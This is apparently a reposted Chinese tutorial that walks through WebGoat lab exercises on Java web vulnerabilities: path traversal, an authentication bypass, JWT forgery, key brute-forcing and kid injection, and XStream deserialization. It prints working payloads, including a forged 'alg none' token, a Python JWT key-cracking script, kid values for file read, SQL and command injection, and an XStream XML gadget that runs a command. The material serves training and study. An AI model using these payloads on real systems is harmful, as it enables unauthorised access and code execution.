WEB攻防-JAVAWEB项目常见漏洞

知识点

1.JavaWeb常见安全及代码逻辑
2.目录遍历&身份验证&逻辑&JWT
3.访问控制&安全组件&越权&三方组件

本篇主要了解以上问题在javaweb中的呈现,

第一个重点理解URL与javaweb代码框架的对应方式,java在没有代码的情况下是很难渗透的,下面的内容也是针对白盒的

第二个重点是JWT身份验证/攻击

JavaWeb-WebGoat靶场搭建使用

WebGoat简单介绍

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

参考链接:如何搭建 WebGoat 靶场保姆级教程(附链接)_webgoat搭建-CSDN博客

 启动/访问

//启动
java.exe -jar E:\webgoat-server-8.1.0.jar --server.port=8081
//访问
http://localhost:8081/WebGoat/login

案例0x01 目录遍历

路径(目录)遍历是一种漏洞,攻击者能够在应用程序运行位置之外访问或存储文件和目录。这可能会导致从其他目录读取文件,并且在文件上传时会覆盖关键系统文件。

路径遍历攻击的基本原理和步骤:

  1. 发现潜在漏洞:攻击者首先需要找到应用程序中可能允许用户指定文件路径的输入点。这通常包括文件上传、图片查看、文件下载、包含文件(如PHP的includerequire函数)等功能。

  2. 构建恶意输入:攻击者会构造一个包含特殊路径字符的输入字符串,如../../etc/passwd。这个字符串的目的是向上遍历目录树,并尝试访问不应该被公开的文件(在这个例子中,是UNIX系统的/etc/passwd文件,它包含了系统上所有用户的信息)。

  3. 发送请求:攻击者将构造好的恶意输入发送给Web应用程序。这通常是通过HTTP请求中的GET或POST参数、URL路径、HTTP头或其他输入机制来完成的。

  4. 应用程序处理:如果应用程序没有正确地验证或清理用户输入,它会将恶意输入当作有效的文件路径来处理。应用程序可能会尝试打开、读取或包含这个路径指向的文件。

  5. 敏感操作:如果应用程序成功地打开了攻击者指定的文件,并返回了文件内容,那么攻击者就成功地执行了路径遍历攻击。他们现在可以查看、下载或利用这些敏感信息来进一步攻击系统。

案例:WebGoat(A1)Injection--> Path traversal第二关

题目要求上传到Pathtraversal这个路径

通过BurpSuite抓包获取到URL

 对jar包解压,并使用IDEA打开,找到对应的包反编译,只要把包添加到库就可以查看到源码

无论是社区版 IDEA,还是专业版 IDEA,都自带了反编译插件 Java Bytecode Decompiler。没有自行下载

找到 ProfileUpload,可以看到我们访问的路由

    @PostMapping(value = {"/PathTraversal/profile-upload"},consumes = {"*/*"},produces = {"application/json"})@ResponseBodypublic AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) {return super.execute(file, fullName);}

 IDEA使用ctrl+鼠标左键选择execute函数来追踪super.execute函数,可以看到execute 接收一个 MultipartFile 对象(用于表示上传的文件)和一个 String 类型的 fullName,"/PathTraversal/" + this.webSession.getUserName() 被附加到基础目录上,以构建用户特定的上传目录。new File(uploadDirectory, fullName) 来创建 uploadedFile 时,实际上是在构建一个指向特定文件路径的 File 对象。在这个上下文中,uploadDirectory 是一个 File 对象,它代表了目录的路径,而 fullName 是一个字符串,它包含了在该目录下创建或引用的文件的完整名称

 protected AttackResult execute(MultipartFile file, String fullName) {if (file.isEmpty()) {return this.failed(this).feedback("path-traversal-profile-empty-file").build();} else if (StringUtils.isEmpty(fullName)) {return this.failed(this).feedback("path-traversal-profile-empty-name").build();} else {File uploadDirectory = new File(this.webGoatHomeDirectory, "/PathTraversal/" + this.webSession.getUserName());if (uploadDirectory.exists()) {FileSystemUtils.deleteRecursively(uploadDirectory);}try {uploadDirectory.mkdirs();File uploadedFile = new File(uploadDirectory, fullName);uploadedFile.createNewFile();FileCopyUtils.copy(file.getBytes(), uploadedFile);return this.attemptWasMade(uploadDirectory, uploadedFile) ? this.solvedIt(uploadedFile) : this.informationMessage(this).feedback("path-traversal-profile-updated").feedbackArgs(new Object[]{uploadedFile.getAbsoluteFile()}).build();} catch (IOException var5) {return this.failed(this).output(var5.getMessage()).build();}}

发送原数据包,结合代码可以看到路径有安装路径+PathTraversal+用户名+Fullname组成

而在上下文代码中没找到类似过滤特殊字符如../的代码,而题目要求上传到安装路径下的PathTraversal目录下,也就是与“用户名”目录同级,也就是test的上一级目录,尝试修改数据包让他上传到上一级目录

BurpSuite中放包并拦截响应可以看到上传通过了

攻击手段就是通过../路径可以贯穿整个目录遍历攻击,比如需要上传到上两级../../

第三关类似,但做了单次过滤../

抓包 看下URL找到对应的包

    @PostMapping(value = {"/PathTraversal/profile-upload-fix"},consumes = {"*/*"},produces = {"application/json"})@ResponseBodypublic AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) {return super.execute(file, fullName != null ? fullName.replace("../", "") : "");}

可以看到参数改成了 fullNameFix,增加了单次过滤fullName.replace("../", "") : "");

考虑双写绕过

案例0x02 身份认证绕过

 身份绕过漏洞通常存在于系统的身份验证机制中,可能由于系统配置错误、代码实现缺陷或逻辑漏洞等原因导致。攻击者如果能够成功利用这类漏洞,就可以获得本不应有的系统访问权限,进而可能导致数据泄露、系统被篡改或其他严重后果。

案例:WebGoat(A2)Broken Authentication-->Authentication Bypasses第二关

抓包获取URL找到对应的包

 

    @PostMapping(path = {"/auth-bypass/verify-account"},produces = {"application/json"})@ResponseBodypublic AttackResult completed(@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) throws ServletException, IOException {AccountVerificationHelper verificationHelper = new AccountVerificationHelper();Map<String, String> submittedAnswers = this.parseSecQuestions(req);if (verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)) {return this.failed(this).feedback("verify-account.cheated").output("Yes, you guessed correctly, but see the feedback message").build();} else if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap)submittedAnswers)) {this.userSessionData.setValue("account-verified-id", userId);return this.success(this).feedback("verify-account.success").build();} else {return this.failed(this).feedback("verify-account.failed").build();}}

可以看到访问入口调用了AccountVerificationHelper包的didUserLikelylCheat函数verificationHelper包的verifyAccount,并通过返回值作为判断条件,而只有verificationHelper包的verifyAccount返回ture才会通过认证,首先追踪到didUserLikelylCheat函数这个函数,看下如何构造才能是他返回false跳过这个判断进入verifyAccount

    public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {boolean likely = false;if (submittedAnswers.size() == ((Map)secQuestionStore.get(verifyUserId)).size()) {likely = true;}if (submittedAnswers.containsKey("secQuestion0") && ((String)submittedAnswers.get("secQuestion0")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion0")) && submittedAnswers.containsKey("secQuestion1") && ((String)submittedAnswers.get("secQuestion1")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion1"))) {likely = true;} else {likely = false;}return likely;}

这里主要做了两个判断

  1. 检查答案数量
  • 如果 submittedAnswers 的大小与从 secQuestionStore 获取的对应用户答案的 Map 的大小相同,则 likely 被设置为 true。  
  1. 检查答案是否匹配
  • if-else语句检查submittedAnswers是否包含两个特定的问题("secQuestion0""secQuestion1")的答案,并且这些答案是否与从secQuestionStore中检索到的答案相匹配。如果两个答案都匹配,则将likely设置为true;否则,将其设置为false。这里的问题是,即使只有一个答案不匹配,likely也会被设置为false

 根据逻辑分析,只要"secQuestion0""secQuestion1"和secQuestionStore的答案不一致或者键名"secQuestion0""secQuestion1"不存在就能返回flase

    static {userSecQuestions.put("secQuestion0", "Dr. Watson");userSecQuestions.put("secQuestion1", "Baker Street");secQuestionStore = new HashMap();secQuestionStore.put(verifyUserId, userSecQuestions);}

再看verificationHelper包的verifyAccount函数

    public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {if (submittedQuestions.entrySet().size() != ((Map)secQuestionStore.get(verifyUserId)).size()) {return false;} else if (submittedQuestions.containsKey("secQuestion0") && !((String)submittedQuestions.get("secQuestion0")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion0"))) {return false;} else {return !submittedQuestions.containsKey("secQuestion1") || ((String)submittedQuestions.get("secQuestion1")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion1"));}}
  1. 检查答案数量:如果 submittedQuestions 的大小与从 secQuestionStore 中根据 verifyUserId 获取的映射的大小不同,则返回 false
  2. 检查特定答案:如果 submittedQuestions 包含 "secQuestion0" 但其值与从 secQuestionStore 中获取的相应值不同,则返回 false
  3. 检查第二个答案:如果 submittedQuestions 不包含 "secQuestion1" 或者包含但值与从 secQuestionStore 中获取的相应值相同,则返回 true

 可以看到第二个答案验证这里的逻辑,如果 "secQuestion1"键名不存在 则为false,取反得到true或者secQuestion1答案正确返回true

综上所述有两种情况可以绕过验证

  • secQuestion0能匹配,和secQuestion1不存在

  • secQuestion0和secQuestion1都不存在

JWT原理及常见攻击方式

JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。 

传统token方式和jwt认证的差异

传统token方式

用户登录成功后,服务端生成一个随机token给用户,并且在服务端(数据库或缓存)中保存一份token,以后用户再来访问时需携带token,服务端接收到token之后,去数据库或缓存中进行校验token的是否超时、是否合法。

jwt方式:官网:jwt.io

用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法。

JWT 令牌结构由三个部分组成,分别是 标头(Header)、有效载荷(Payload)、签名(Signature),并且由 "." 分割.

也就是 Header.Payload.Signature

JWT原理 

  • Header:固定包含算法和token类型,通常使用算法名称(如HMAC SHA256或RSA)来指定生成Signature的算法。对此json进行base64url加密,这就是token的第一段。

{"alg": "HS256","typ": "JWT"
}
  • Payload:包含声明,声明是关于实体(通常是用户)和其他数据的声明,也可以自定义。对此json进行base64url加密,这就是token的第二段。

{"iss": "admin","iat": 1616562692
}
  • Signature:对Header和Payload进行Base64编码后的结果,使用指定的密钥和算法进行加密,以确保JWT不可篡改。

把前两段的base密文通过.拼接起来,然后对其进行HS256加密,再然后对hs256密文进行base64url加密,最终得到token的第三段。

base64url(HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),your-256-bit-secret (秘钥加盐))
)

简单JWT示例

 JWT攻击方式

  案例0x01 空加密算法 - WebGoat(A2)JWT tokens第四关

空加密算法的设计初衷是用于调试的,如果在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。

空加密算法,可以在header中指定alg为None,把签名设置为空(即不添加signature字段),这需要服务器(后端代码)支持不要秘钥签名(空模式加密)

选择一个用户,然后点击重置票数进行抓包

复制token到官网jwt.io解密 

修改Header中alg:HS512 修改为alg:none,把签名设置为空(即不添加signature字段)

修改Payload中admin:false 修改为admin:true,通过这个字段验证是不是管理员身份

分别将修改后由base64加密生成的密文对应的Header、Payload的格式拼接,注意不要带上 =号,jwt中没有 =号,拼接的时候不要漏了后面与signature间段的

ewogICJhbGciOiAibm9uZSIKfQ.

ewogICJpYXQiOiAxNzE3OTgxODU5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJKZXJyeSIKfQ. 

 burpsuite将token替换为我们伪造拼接出的token再发送,就成功验证管理员身份了

 

案例0x02 爆破密钥 - WebGoat(A2)JWT tokens第五关

题目要求尝试找出密钥并提交一个新密钥,并将用户名更改为 WebGoat。

不过对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

所以其实JWT 密钥爆破的局限性很大。

相关工具:c-jwt-cracker

把JWT复制到jwt.io解密

因为这里只是为了测试,直接把秘钥复制到字典里

 

运行脚本爆破加密的秘钥

import jwt
import termcolor
if __name__ == "__main__":jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcxNzExNTU2MSwiZXhwIjoxNzE3MTE1NjIxLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.oWJIYFXYQCzviNcKZBqCS-fKZiPCqq8kXFiNVG2js7Q'with open('top1000.txt') as f:for line in f:key_ = line.strip()try:jwt.decode(jwt_str,algorithms=['HS256'], verify=True, key=key_)print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')breakexcept (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')breakexcept jwt.exceptions.InvalidSignatureError:print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)continueelse:print('\r', '\bsorry! no key be found.')

 回到jwt.io,输入秘钥并修改username为WebGoat

把伪造秘钥提交,显示无效JWT再试一次,红框中可以看出JWT过期了

回到jwt.io修改exp时间戳,改为一个未到的时间,再次复制伪造token提交,就成功通过了

修改KID参数

kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥

{

    "alg" : "HS256",

    "typ" : "jwt",

    "kid" : "/home/jwt/.ssh/pem"

}

因为该参数可以由用户输入,所以也可能造成一些安全问题。

0x03 任意文件读取

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

{

    "alg" : "HS256",

    "typ" : "jwt",

    "kid" : "/etc/passwd"

}

0x04 SQL注入

kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

{

    "alg" : "HS256",

    "typ" : "jwt",

    "kid" : "key11111111' || union select 'secretkey' -- "

}

0x05 命令注入

kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

"/path/to/key_file|whoami"

对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。

0x06 第三方组件

WebGoat(A9)Vulnerable Components 第十二关

抓包获取下URL

 可以看到使用了第三方组件Xstream,一般通过信息收集知道第三方组件就可以查找的历史漏洞去复现

 这里题目已经告诉我们漏洞编号Exploiting CVE-2013-7285 (XStream),查找该编号漏洞复现

该漏洞主要是java反序列化造成的远程代码执行,上传以下代码可以启动计算器

<sorted-set><string>foo</string><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc.exe</string> ——启动服务器的计算器</command></target><action>start</action></handler></dynamic-proxy></sorted-set>

 

0x07 访问控制

-隐藏属性:前端页面选择性隐藏某些重要的信息,自卫限制显示

WebGoat (A5)Insecure Direct Object References第二关先登录

 WebGoat (A5)Insecure Direct Object References第三关

正常情况显示只可以查看三个参数

点击View Profile抓包可以看到五个属性

 根据URL找到对应的包

-水平越权:同一级别用户权限的查看

 比如,通过修改“userId”的值,就可以查看其他用户的个人信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/337333.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【R基础】如何开始学习R-从下载R及Rstudio开始

文章目录 概要下载R流程下载Rstudio流程下载完成-打开 概要 提示&#xff1a;如何开始学习R-从下载R及Rstudio开始&#xff0c;此处我只是想下载指定版本R4.3.3 下载R流程 链接: R官网 文件下载到本地 下载文件展示 按照向导指示安装 下载Rstudio流程 链接: Rstudio官网…

hadoop(1)--hdfs部署(亲测可用)

一、准备&#xff1a; 1、三台集群部署&#xff0c;配置hosts #cat /etc/hosts 192.168.46.128 node1 #nameNode dataNode secondaryNameNode 192.168.46.129 node2 #datanode 192.168.46.130 node3 #datanode说明&#xff1a; NameNode: 主节点管理者 DataNode&…

把自己的服务器添加到presearch节点

Presearch is a scam. Before, judging by the price of the token you should have been able to get between $150-$200 after 12-13 months of regular searches. "If you use this service for the next 11 years you will have earned $30!" Presearch大约需要…

11.1 排序算法

目录 11.1 排序算法 11.1.1 评价维度 11.1.2 理想排序算法 11.1 排序算法 排序算法&#xff08;sorting algorithm&#xff09;用于对一组数据按照特定顺序进行排列。排序算法有着广泛的应用&#xff0c;因为有序数据通常能够被更高效地查找、分析和处理。 如图 1…

STM32—按键控制LED(定时器)

目录 1 、 电路构成及原理图 2 、编写实现代码 main.c exit.c 3、代码讲解 4、烧录到开发板调试、验证代码 5、检验效果 此笔记基于朗峰 STM32F103 系列全集成开发板的记录。 1 、 电路构成及原理图 EXTI&#xff08;External interrupt/event controller&#xff…

Ubuntu22.04之扩展并挂载4T硬盘(二百三十三)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

C 基础 - 预处理命令和基本语法详解

#include <stdio.h> //预处理指令int main() //函数 {printf("Hello, World!"); //输出语句return 0; //返回语句 } 目录 一.预处理指令 1.#define #ifdef #ifndef #if #else #elif #endif 2.#inlcude a.新增一个文件 b.#include c.运行结果 d.扩…

云计算与 openstack

文章目录 一、 虚拟化二、云计算2.1 IT系统架构的发展2.2 云计算2.3 云计算的服务类型 三、Openstack3.1 OpenStack核心组件 一、 虚拟化 虚拟化使得在一台物理的服务器上可以跑多台虚拟机&#xff0c;虚拟机共享物理机的 CPU、内存、IO 硬件资源&#xff0c;但逻辑上虚拟机之…

基于单片机的恒流开关电源 BUCK电路设计

1 前言 1.1课题研究意义 开关电源顾名思义&#xff0c;开关电源便是使用半导体开关器件&#xff08;如晶体管、场效应管、可控硅闸流管等&#xff09;&#xff0c;经过控制电路&#xff0c;使半导体开关器件不停地“导通”和“关闭”&#xff0c;让半导体开关器件对输入的电压…

【数据结构】详解二叉树

文章目录 1.树的结构及概念1.1树的概念1.2树的相关结构概念1.3树的表示1.4树在实际中的应用 2.二叉树的结构及概念2.1二叉树的概念2.2特殊的二叉树2.2.1满二叉树2.2.2完全二叉树 2.3 二叉树的性质2.4二叉树的存储结构2.4.1顺序结构2.4.2链表结构 1.树的结构及概念 1.1树的概念…

if语句知识点

作用 让顺序执行的代码产生分歧。 if 语句 作用&#xff1a;满足条件时&#xff0c;多执行一些代码。 语法&#xff1a; if(bool类型值)//bool类型相关&#xff1a;bool变量&#xff0c;条件运算符表达式&#xff0c;逻辑运算符表达式 {满足条件要执行的代码&#xff0c;写在…

c++ QT 实现QMediaPlayer播放音频显示音频级别指示器

文章目录 效果图概述代码总结 效果图 概述 QMediaPlayer就不介绍了&#xff0c;就提供了一个用于播放音频和视频的媒体播放器 QAudioProbe 它提供了一个探针&#xff0c;用于监控音频流。当音频流被捕获或播放时&#xff0c;QAudioProbe 可以接收到音频数据。这个类在需要访问…

【Java面试】六、Spring框架相关

文章目录 1、单例Bean不是线程安全的2、AOP3、Spring中事务的实现4、Spring事务失效的场景4.1 情况一&#xff1a;异常被捕获4.2 情况二&#xff1a;抛出检查异常4.3 注解加在非public方法上 5、Bean的生命周期6、Bean的循环引用7、Bean循环引用的解决&#xff1a;Spring三级缓…

结构体相关习题的补充

结构体相关习题的补充 题目1&#xff1a; 如有以下代码&#xff1a; struct student {int num;char name[32];float score; }stu;则下面的叙述不正确的是&#xff1a;( ) A.struct 是结构体类型的关键字 B.struct student 是用户定义的结构体类型 C.num, score 都是结构体…

Python中Web开发-Django框架

大家好&#xff0c;本文将带领大家进入 Django 的世界&#xff0c;探索其强大的功能和灵活的开发模式。我们将从基础概念开始&#xff0c;逐步深入&#xff0c;了解 Django 如何帮助开发人员快速构建现代化的 Web 应用&#xff0c;并探讨一些最佳实践和高级技术。无论是初学者还…

身份认证与口令攻击

身份认证与口令攻击 身份认证身份认证的五种方式口令认证静态口令动态口令(一次性口令)动态口令分类 密码学认证一次性口令认证S/KEY协议改进的S/KEY协议 其于共享密钥的认证 口令行为规律和口令猜测口令规律口令猜测 口令破解操作系统口令破解Windows密码存储机制Windows密码破…

数据结构-堆排序问题

需要在数组里面进行排序&#xff0c;我们可以采取堆排序对其解决问题 版本1&#xff1a; 创建一个数组等大的堆&#xff0c;把数组里面的数值输入到堆里面进行堆排序&#xff0c;但是这样的弊端就是&#xff0c;不是顺序排序 版本2&#xff1a; 每次我们取堆顶然后打印&#xf…

举个栗子!Tableau 技巧(275):散点图的数值重合怎么办?抖动图来咯

散点图是大家经常使用的分析图表&#xff0c;但是如果出现多个数据点具有完全相同的 X 和 Y 值&#xff0c;多个散点重叠并隐藏后&#xff0c;查看数据就很不方便了。 遇到这种情况&#xff0c;该怎么办&#xff1f;其实可以尝试将数据点稍微抖动一下&#xff01;如下图&#…

MT3045 松鼠接松果

思路&#xff1a; 求x的一个区间&#xff0c;使区间中的松果的最大y坐标和最小y坐标的差至少为D。若有多个区间&#xff0c;则取最小的那个。 即使用单调队列不断维护最大值和最小值。 首先L固定不动&#xff0c;R不断右移&#xff1a; 即若函数f(R)max[L,R]-min[L,R] >…

探秘Flask中的表单数据处理

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一、引言 二、Flask中的表单处理机制 三、Flask表单处理实战 四、处理表单数据的注意事项…